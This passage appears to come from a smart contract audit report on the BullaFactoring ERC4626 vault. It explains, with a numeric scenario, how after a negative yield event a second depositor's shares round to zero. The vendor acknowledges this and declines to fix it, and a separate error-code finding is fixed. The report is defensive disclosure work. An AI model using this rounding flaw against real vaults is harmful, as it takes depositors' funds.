↪  (uint256) {
    uint256 _totalSupply = totalSupply();

    if (_totalSupply == 0) {
        return assets;  // First depositor: 1:1 ratio (protected)
    }

    return assets.mulDiv(_totalSupply, calculateCapitalAccount(), rounding);  // Normal formula
}
```

In standard ERC4626 vaults, donation attacks target the **first depositor** where an attacker donates to inflate share price, causing the first depositor to receive severely truncated shares minted.

The `BullaFactoring` inverted behavior occurs after a negative yield event (e.g., from the `markAsPaid` exploit or unfactoring losses) where the vault can reach these states:

- `capitalAccount > 0` (leftover assets from rounding or losses).
- `totalSupply == 0` (all shares withdrawn).

In this state:

1. **First depositor** is protected: `totalSupply == 0` → gets 1:1 shares.
2. **Second depositor** uses normal formula and can be rounded to zero.

**Example Scenario:**

1. Negative yield event leaves `capitalAccount = 10,000` with `totalSupply = 0`
2. Alice (first depositor) deposits 100 assets:
   - `totalSupply == 0` → receives 100 shares (1:1)
   - New state: `totalSupply = 100`, `capitalAccount = 10,100`
3. Bob (second depositor) deposits 100 assets:
   - Uses formula: `100 * 100 / 10,100 = 0.99` → **rounds to 0 shares**
   - Bob's 100 assets are effectively donated to existing shareholders

   Note: The pool can enter a negative yield state from the **markAsPaid exploit**. Since the pool loses funds we creating negative yield. When shares are redeemed in full from all holders this will round assets down whilst withdrawing full shares.

**Recommendation:** Consider adding slippage checks on deposit.

**Bulla:** Acknowledged. As it stands we will not fix this.

**LPHAC:** Acknowledged.

### 7.5.2 Missing explicit error codes

**Context:** BullaFactoring.sol#L949-L950, BullaFactoring.sol#L976-L977

**Description:** The `BullaFactoring` contract re-uses the `UnauthorizedDeposit` error code in the `redeem()`/`withdraw()` functions when checking permissions on the `_msgSender()` and `_owner` accounts. This can be more explicitly defined with errors that define the context of the calling function.

**Recommendation:** Consider adding unique error codes when checking account permissions in the aforementioned functions.

**Bulla:** Fixed in PR #184.

**LPHAC:** Verified fix. `UnauthorizedWithdrawal` and `UnauthorizedRedeem` error codes have been added into the `BullaFactoring` contract.